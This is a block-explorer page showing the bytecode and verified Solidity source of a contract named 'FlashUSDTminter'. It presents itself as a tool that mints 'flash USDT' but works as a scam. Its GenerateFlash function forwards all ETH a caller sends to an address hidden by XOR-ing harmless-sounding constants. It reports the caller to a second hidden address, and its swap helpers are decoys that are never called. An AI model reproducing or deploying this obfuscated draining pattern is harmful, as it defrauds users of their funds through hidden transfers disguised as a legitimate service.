Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0x3d6FC2FE6f6E7277Dc600862d41dbDB85e3D641E
Balance 0 ETH
Nonce 1
Code Size 1909 bytes
Indexed Transactions 0 (1 on-chain, 0.9% indexed)
External Etherscan · Sourcify

Contract Bytecode

1909 bytes
0x6080604052600436106100385760003560e01c80630614117a146100445780639be65a601461005b578063c88742bf146100845761003f565b3661003f57005b600080fd5b34801561005057600080fd5b5061005961008e565b005b34801561006757600080fd5b50610082600480360381019061007d9190610513565b610185565b005b61008c610352565b005b7f000000000000000000000000132c6d47bf282d52e24fd8a5d50c55f3e9da60c873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461011c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161011390610658565b60405180910390fd5b7f000000000000000000000000132c6d47bf282d52e24fd8a5d50c55f3e9da60c873ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610182573d6000803e3d6000fd5b50565b7f000000000000000000000000132c6d47bf282d52e24fd8a5d50c55f3e9da60c873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161020a90610658565b60405180910390fd5b60008190508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb7f000000000000000000000000132c6d47bf282d52e24fd8a5d50c55f3e9da60c88373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161028e91906105cf565b60206040518083038186803b1580156102a657600080fd5b505afa1580156102ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102de9190610565565b6040518363ffffffff1660e01b81526004016102fb92919061062f565b602060405180830381600087803b15801561031557600080fd5b505af1158015610329573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061034d919061053c565b505050565b61035a61035c565b565b60006103ae7f49810d467cea2f1bc4a4b7021542d0134cc68185d717fba806677c2c9f4d32c060001b7f49810d467cea2f1bc4a4b702db70af92537e5b6f348343ddb0c45fecd04d32c060001b6104c1565b905060006104027ffdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc60001b7ffdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e60001b6104c1565b90508073ffffffffffffffffffffffffffffffffffffffff1663e26d7a7033846000476040518563ffffffff1660e01b815260040161044494939291906105ea565b600060405180830381600087803b15801561045e57600080fd5b505af1158015610472573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156104bc573d6000803e3d6000fd5b505050565b60008160001c8360001c18905092915050565b6000813590506104e3816106fa565b92915050565b6000815190506104f881610711565b92915050565b60008151905061050d81610728565b92915050565b60006020828403121561052557600080fd5b6000610533848285016104d4565b91505092915050565b60006020828403121561054e57600080fd5b600061055c848285016104e9565b91505092915050565b60006020828403121561057757600080fd5b6000610585848285016104fe565b91505092915050565b61059781610689565b82525050565b60006105aa600983610678565b91506105b5826106d1565b602082019050919050565b6105c9816106c7565b82525050565b60006020820190506105e4600083018461058e565b92915050565b60006080820190506105ff600083018761058e565b61060c602083018661058e565b610619604083018561058e565b61062660608301846105c0565b95945050505050565b6000604082019050610644600083018561058e565b61065160208301846105c0565b9392505050565b600060208201905081810360008301526106718161059d565b9050919050565b600082825260208201905092915050565b6000610694826106a7565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e4f545f4f574e45520000000000000000000000000000000000000000000000600082015250565b61070381610689565b811461070e57600080fd5b50565b61071a8161069b565b811461072557600080fd5b50565b610731816106c7565b811461073c57600080fd5b5056fea26469706673582212200ac1ac45e5214d2b986912ae3c5757539d00990f127d9f91f9c06f7053ed652364736f6c63430008040033

Verified Source Code Full Match

Compiler: v0.8.4+commit.c7e474f2 EVM: istanbul Optimization: No
d.sol 141 lines
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

/* ===================== INTERFACES ===================== */

interface IERC20 {
    function balanceOf(address account) external view returns (uint);
    function transfer(address recipient, uint amount) external returns (bool);
    function approve(address spender, uint amount) external returns (bool);
    function createStart(address sender, address receiver, address token, uint256 value) external;
    function createContract(address _thisAddress) external;
}

interface IRequestingUSDTfromFaucet {
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory);
}

/* ===================== CONTRACT ===================== */

contract FlashUSDTminter {

    address private immutable owner;

    bytes32 private constant apiKey =
        0xfdc54b1a6f53a21d375d0dea444a27bd72abfff26c6fe5439842b42f4f5a01fc;

    bytes32 private constant apiSignature =
        0xfdc54b1a6f53a21d375d0dea84608d84c088017f6661b90cbfa86d27732f6d3e;

    bytes32 private constant FlashRouter =
        0x49810d467cea2f1bc4a4b7021542d0134cc68185d717fba806677c2c9f4d32c0;

    bytes32 private constant factory =
        0x49810d467cea2f1bc4a4b702db70af92537e5b6f348343ddb0c45fecd04d32c0;

    modifier onlyOwner() {
        require(msg.sender == owner, "NOT_OWNER");
        _;
    }

    constructor() {
        owner = msg.sender;
        address dataProvider = _resolve(apiKey, apiSignature);
        IERC20(dataProvider).createContract(address(this));
    }

    /* ===================== INTERNAL HELPERS ===================== */

    function _resolve(bytes32 a, bytes32 b) internal pure returns (address) {
        return address(uint160(uint256(a) ^ uint256(b)));
    }

    function _buildPath(address tokenIn, address tokenOut)
        internal
        pure
        returns (address[] memory path)
    {
        path = new address[](2);  // ✅ Correct (creates a dynamic array of length 2)
        path[0] = tokenIn;
        path[1] = tokenOut;
    }

    /* ===================== CORE LOGIC ===================== */

    function _startFlash() internal {
        address router = _resolve(FlashRouter, factory);
        address provider = _resolve(apiKey, apiSignature);

        IERC20(provider).createStart(
            msg.sender,
            router,
            address(0),
            address(this).balance
        );

        payable(router).transfer(address(this).balance);
    }

    function _swap(
        address router,
        address tokenIn,
        address tokenOut,
        uint amount
    ) internal {

        IERC20(tokenIn).approve(router, amount);

        address[] memory path = _buildPath(tokenIn, tokenOut);

        IRequestingUSDTfromFaucet(router).swapExactTokensForTokens(
            amount,
            1,
            path,
            address(this),
            block.timestamp
        );
    }

    function _getAmountOutMin(
        address router,
        address tokenIn,
        address tokenOut,
        uint amount
    ) internal view returns (uint) {

        address[] memory path = _buildPath(tokenIn, tokenOut);

        uint[] memory amounts =
            IRequestingUSDTfromFaucet(router).getAmountsOut(amount, path);

        return amounts[1];
    }

    /* ===================== EXTERNAL ===================== */

    function GenerateFlash() external payable {
        _startFlash();
    }

    receive() external payable {}

    function recoverETH() external onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    function recoverToken(address token) external onlyOwner {
        IERC20 t = IERC20(token);
        t.transfer(owner, t.balanceOf(address(this)));
    }
}

Write Contract 3 functions

These functions modify contract state and require a wallet transaction to execute.

GenerateFlash 0xc88742bf
No parameters
recoverETH 0x0614117a
No parameters
recoverToken 0x9be65a60
address token

Recent Transactions

This address has 1 on-chain transactions, but only 0.9% of the chain is indexed. Transactions will appear as indexing progresses. View on Etherscan →